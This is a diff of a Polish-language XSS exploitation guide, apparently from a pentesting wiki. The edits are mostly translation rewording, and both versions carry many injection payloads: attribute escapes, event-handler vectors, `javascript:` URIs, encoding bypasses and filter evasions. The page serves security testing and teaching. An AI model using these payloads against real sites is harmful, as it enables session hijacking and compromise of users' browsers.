		||||
1. W **surowym HTML**:
 | 
			
		||||
1. Czy możesz tworzyć nowe tagi HTML?
 | 
			
		||||
@ -56,7 +56,7 @@ Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz wartości atrybutu ta
 | 
			
		||||
 | 
			
		||||
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: `"><img [...]`
 | 
			
		||||
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **stworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
 | 
			
		||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), wówczas w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
 | 
			
		||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, **jeśli kontrolujesz całą wartość lub tylko część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
 | 
			
		||||
4. Jeśli twoje dane wejściowe są odzwierciedlane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebować jakiegoś rodzaju inżynierii społecznej, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
 | 
			
		||||
 | 
			
		||||
Dziwny przykład Angulara wykonującego XSS, jeśli kontrolujesz nazwę klasy:
 | 
			
		||||
@ -69,12 +69,12 @@ Dziwny przykład Angulara wykonującego XSS, jeśli kontrolujesz nazwę klasy:
 | 
			
		||||
 | 
			
		||||
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając protokołu **`javascript:`**:
 | 
			
		||||
 | 
			
		||||
- Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML** a potem zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
 | 
			
		||||
- Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
 | 
			
		||||
- Jeśli jest odzwierciedlany **wewnątrz ciągu JS** i ostatni trik nie działa, musisz **wyjść** z ciągu, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie on wykonany):
 | 
			
		||||
- `'-alert(1)-'`
 | 
			
		||||
- `';-alert(1)//`
 | 
			
		||||
- `\';alert(1)//`
 | 
			
		||||
- Jeśli jest odzwierciedlany wewnątrz szablonowych literałów, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
 | 
			
		||||
- Jeśli jest odzwierciedlany wewnątrz szablonów dosłownych, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
 | 
			
		||||
- **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**:
 | 
			
		||||
```javascript
 | 
			
		||||
alert(1)
 | 
			
		||||
@ -83,7 +83,7 @@ alert(1)
 | 
			
		||||
```
 | 
			
		||||
#### Javascript Hoisting
 | 
			
		||||
 | 
			
		||||
Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala na wykorzystanie scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
 | 
			
		||||
Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, aby można było wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
 | 
			
		||||
**Sprawdź następującą stronę po więcej informacji:**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -92,15 +92,15 @@ js-hoisting.md
 | 
			
		||||
 | 
			
		||||
### Javascript Function
 | 
			
		||||
 | 
			
		||||
Wiele stron internetowych ma punkty końcowe, które **akceptują jako parametr nazwę funkcji do wykonania**. Typowym przykładem, który można zobaczyć w praktyce, jest coś takiego: `?callback=callbackFunc`.
 | 
			
		||||
Kilka stron internetowych ma punkty końcowe, które **akceptują jako parametr nazwę funkcji do wykonania**. Typowym przykładem, który można zobaczyć w praktyce, jest coś takiego: `?callback=callbackFunc`.
 | 
			
		||||
 | 
			
		||||
Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użytkownika próbuje być wykonane, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów, takich jak:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert**, wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
 | 
			
		||||
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert** wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
 | 
			
		||||
 | 
			
		||||
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
 | 
			
		||||
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych ważnych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -116,7 +116,7 @@ Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `o
 | 
			
		||||
 | 
			
		||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej działań.
 | 
			
		||||
 | 
			
		||||
Dlatego, aby **nadużyć tej podatności w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
 | 
			
		||||
Dlatego, aby **wykorzystać tę lukę w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
some-same-origin-method-execution.md
 | 
			
		||||
@ -132,7 +132,7 @@ dom-xss.md
 | 
			
		||||
 | 
			
		||||
### **Uniwersalne XSS**
 | 
			
		||||
 | 
			
		||||
Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta aplikacji webowej, ale od **jakiegokolwiek** **kontekstu**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach oraz więcej.\
 | 
			
		||||
Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta w aplikacji webowej, ale w **jakimkolwiek** **kontekście**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach oraz więcej.\
 | 
			
		||||
Niektóre **przykłady**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
 | 
			
		||||
 | 
			
		||||
## Wstrzykiwanie wewnątrz surowego HTML
 | 
			
		||||
 | 
			
		||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
 | 
			
		||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<` do tworzenia nowych tagów: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany w HTML** lub **usunięty**, czy jest **odzwierciedlony bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
 | 
			
		||||
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 | 
			
		||||
_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\*\*\***\***\*`-->`\*\***\***\*lub \*\*\*\*\*\***`--!>`\*\*_
 | 
			
		||||
 | 
			
		||||
W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak:
 | 
			
		||||
W tym przypadku, jeśli nie użyto czarnej/białej listy, możesz użyć ładunków takich jak:
 | 
			
		||||
```html
 | 
			
		||||
<script>
 | 
			
		||||
alert(1)
 | 
			
		||||
@ -161,12 +161,12 @@ alert(1)
 | 
			
		||||
<img src="x" onerror="alert(1)" />
 | 
			
		||||
<svg onload=alert('XSS')>
 | 
			
		||||
```
 | 
			
		||||
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **brute-forcować, które tagi** możesz utworzyć.\
 | 
			
		||||
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **brute-forcować atrybuty/wydarzenia** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
 | 
			
		||||
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **przeprowadzić brute-force, które tagi** możesz utworzyć.\
 | 
			
		||||
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **przeprowadzić brute-force atrybutów/wydarzeń** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
 | 
			
		||||
 | 
			
		||||
### Brute-force tagów/wydarzeń
 | 
			
		||||
 | 
			
		||||
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały odkryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **brute-forcować wszystkie wydarzenia** używając ważnych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
 | 
			
		||||
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały odkryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **przeprowadzić brute-force wszystkich wydarzeń** używając ważnych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
 | 
			
		||||
 | 
			
		||||
### Niestandardowe tagi
 | 
			
		||||
 | 
			
		||||
@ -250,12 +250,12 @@ Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wyko
 | 
			
		||||
### Wewnątrz tagu/ucieczka z wartości atrybutu
 | 
			
		||||
 | 
			
		||||
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych z technik wymienionych w [poprzedniej sekcji](#injecting-inside-raw-html) do wykonania kodu JS.\
 | 
			
		||||
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając payloadu jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
 | 
			
		||||
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając ładunku jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
 | 
			
		||||
```bash
 | 
			
		||||
" autofocus onfocus=alert(document.domain) x="
 | 
			
		||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
 | 
			
		||||
```
 | 
			
		||||
**Styl zdarzeń**
 | 
			
		||||
**Zdarzenia stylów**
 | 
			
		||||
```python
 | 
			
		||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
 | 
			
		||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
 | 
			
		||||
@ -267,12 +267,12 @@ Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz t
 | 
			
		||||
```
 | 
			
		||||
### W obrębie atrybutu
 | 
			
		||||
 | 
			
		||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, w którym atrybucie** twoja wartość jest odzwierciedlana **czy kontrolujesz całą wartość, czy tylko część** będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
 | 
			
		||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest odzwierciedlany w twojej wartości **czy kontrolujesz całą wartość, czy tylko część** będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu.\
 | 
			
		||||
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
 | 
			
		||||
 | 
			
		||||
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
 | 
			
		||||
 | 
			
		||||
**Znaki zakodowane w HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
 | 
			
		||||
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
 | 
			
		||||
 | 
			
		||||
Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 | 
			
		||||
```
 | 
			
		||||
**Miejsca, w których możesz wstrzyknąć te protokoły**
 | 
			
		||||
 | 
			
		||||
**Ogólnie** protokół `javascript:` może być **używany w każdym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów, które akceptują **atrybut `src`** (ale nie `<img>`)
 | 
			
		||||
**Ogólnie** protokół `javascript:` może być **używany w każdym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów, które akceptują **atrybut `src`** (ale nie `<img`)
 | 
			
		||||
```html
 | 
			
		||||
<a href="javascript:alert(1)">
 | 
			
		||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
 | 
			
		||||
@ -351,7 +351,7 @@ _**W tym przypadku kodowanie HTML i trik z kodowaniem Unicode z poprzedniej sekc
 | 
			
		||||
```javascript
 | 
			
		||||
<a href="javascript:var a=''-alert(1)-''">
 | 
			
		||||
```
 | 
			
		||||
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** ze **stringu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonania.**
 | 
			
		||||
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** ze **stringu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonywania.**
 | 
			
		||||
```javascript
 | 
			
		||||
'-alert(1)-'
 | 
			
		||||
%27-alert(1)-%27
 | 
			
		||||
@ -361,7 +361,7 @@ Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowoln
 | 
			
		||||
 | 
			
		||||
**Używanie kodowania Hex i Octal z `javascript:`**
 | 
			
		||||
 | 
			
		||||
Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
 | 
			
		||||
Możesz używać **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
 | 
			
		||||
```javascript
 | 
			
		||||
//Encoded: <svg onload=alert(1)>
 | 
			
		||||
// This WORKS
 | 
			
		||||
@ -377,7 +377,7 @@ Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (prz
 | 
			
		||||
```javascript
 | 
			
		||||
<a target="_blank" rel="opener"
 | 
			
		||||
```
 | 
			
		||||
Jeśli możesz wstrzyknąć dowolny URL w dowolny **`<a href=`** tag, który zawiera atrybuty **`target="_blank" i rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
 | 
			
		||||
Jeśli możesz wstrzyknąć dowolny URL w dowolnym **`<a href=`** tagu, który zawiera atrybuty **`target="_blank"` i `rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../reverse-tab-nabbing.md
 | 
			
		||||
@ -422,15 +422,15 @@ onbeforetoggle="alert(2)" />
 | 
			
		||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
 | 
			
		||||
<div popover id="newsletter">Newsletter popup</div>
 | 
			
		||||
```
 | 
			
		||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS w ukrytym atrybucie**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
 | 
			
		||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
 | 
			
		||||
```html
 | 
			
		||||
<input type="hidden" accesskey="X" onclick="alert(1)">
 | 
			
		||||
```
 | 
			
		||||
**Payload XSS będzie wyglądać mniej więcej tak:** `" accesskey="x" onclick="alert(1)" x="`
 | 
			
		||||
**Payload XSS będzie wyglądać mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`**
 | 
			
		||||
 | 
			
		||||
### Ominięcia czarnej listy
 | 
			
		||||
 | 
			
		||||
Kilka sztuczek z użyciem różnych kodowań zostało już ujawnionych w tej sekcji. Wróć **aby dowiedzieć się, gdzie możesz użyć:**
 | 
			
		||||
Kilka sztuczek z użyciem różnych kodowań zostało już przedstawionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć:
 | 
			
		||||
 | 
			
		||||
- **Kodowanie HTML (tagi HTML)**
 | 
			
		||||
- **Kodowanie Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
 | 
			
		||||
@ -444,13 +444,13 @@ Przeczytaj [Ominięcia czarnej listy z poprzedniej sekcji](#blacklist-bypasses).
 | 
			
		||||
 | 
			
		||||
**Ominięcia dla kodu JavaScript**
 | 
			
		||||
 | 
			
		||||
Przeczytaj [czarną listę omijania JavaScript z następnej sekcji](#javascript-bypass-blacklists-techniques).
 | 
			
		||||
Przeczytaj [czarną listę omijania JavaScript w następnej sekcji](#javascript-bypass-blacklists-techniques).
 | 
			
		||||
 | 
			
		||||
### Gadżety CSS
 | 
			
		||||
 | 
			
		||||
Jeśli znalazłeś **XSS w bardzo małej części** strony, która wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń, którą zajmuje ten element**, aby zwiększyć prawdopodobieństwo uruchomienia linku.
 | 
			
		||||
 | 
			
		||||
Na przykład, możesz dodać jakieś style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 | 
			
		||||
Na przykład, możesz dodać styl do elementu, taki jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 | 
			
		||||
 | 
			
		||||
Jednak, jeśli WAF filtruje atrybut stylu, możesz użyć Gadżetów Stylizacji CSS, więc jeśli znajdziesz, na przykład
 | 
			
		||||
 | 
			
		||||
@ -480,7 +480,7 @@ Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysło
 | 
			
		||||
 | 
			
		||||
### Wewnątrz kodu JS
 | 
			
		||||
 | 
			
		||||
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój input i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
 | 
			
		||||
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój **input** i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
 | 
			
		||||
```
 | 
			
		||||
'-alert(document.domain)-'
 | 
			
		||||
';alert(document.domain)//
 | 
			
		||||
@ -488,8 +488,8 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znaj
 | 
			
		||||
```
 | 
			
		||||
### Template literals \`\`
 | 
			
		||||
 | 
			
		||||
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
 | 
			
		||||
Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticks, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
 | 
			
		||||
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticky** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
 | 
			
		||||
Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticków, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
 | 
			
		||||
 | 
			
		||||
Można to **nadużyć** używając:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -740,7 +740,7 @@ top[8680439..toString(30)](1)
 | 
			
		||||
## **Luki w DOM**
 | 
			
		||||
 | 
			
		||||
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\
 | 
			
		||||
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM, zostało to przeniesione na tę stronę**](dom-xss.md)**:**
 | 
			
		||||
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM przeniesiono na tę stronę**](dom-xss.md)**:**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
dom-xss.md
 | 
			
		||||
@ -771,7 +771,7 @@ Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla
 | 
			
		||||
 | 
			
		||||
Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego ciasteczka/sesję.
 | 
			
		||||
 | 
			
		||||
## Inne Obejścia
 | 
			
		||||
## Inne obejścia
 | 
			
		||||
 | 
			
		||||
### Normalizowany Unicode
 | 
			
		||||
 | 
			
		||||
@ -826,7 +826,7 @@ document['default'+'View'][`\u0061lert`](3)
 | 
			
		||||
```
 | 
			
		||||
### XSS z wstrzyknięciem nagłówków w odpowiedzi 302
 | 
			
		||||
 | 
			
		||||
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, aby przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
 | 
			
		||||
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, by przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
 | 
			
		||||
 | 
			
		||||
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na zbadanie i wykonanie ładunku XSS w treści.\
 | 
			
		||||
Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Location_, `resource://`.
 | 
			
		||||
@ -841,7 +841,7 @@ Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**
 | 
			
		||||
 | 
			
		||||
> Odrzucono wykonanie skryptu z ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') ponieważ jego typ MIME (‘application/octet-stream’) nie jest wykonywalny, a ścisłe sprawdzanie typu MIME jest włączone.
 | 
			
		||||
 | 
			
		||||
Jedynymi **Content-Type** wspierającymi Chrome do uruchomienia **załadowanego skryptu** są te w stałej **`kSupportedJavascriptTypes`** z [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 | 
			
		||||
Jedynymi **Content-Type**ami, które pozwolą Chrome na uruchomienie **załadowanego skryptu**, są te w stałej **`kSupportedJavascriptTypes`** z [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 | 
			
		||||
```c
 | 
			
		||||
const char* const kSupportedJavascriptTypes[] = {
 | 
			
		||||
"application/ecmascript",
 | 
			
		||||
@ -869,8 +869,8 @@ const char* const kSupportedJavascriptTypes[] = {
 | 
			
		||||
```html
 | 
			
		||||
<script type="???"></script>
 | 
			
		||||
```
 | 
			
		||||
- **module** (domyślny, nic do wyjaśnienia)
 | 
			
		||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala na spakowanie wielu danych (HTML, CSS, JS…) razem do pliku **`.wbn`**.
 | 
			
		||||
- **moduł** (domyślny, nic do wyjaśnienia)
 | 
			
		||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala na spakowanie wielu danych (HTML, CSS, JS…) razem w plik **`.wbn`**.
 | 
			
		||||
```html
 | 
			
		||||
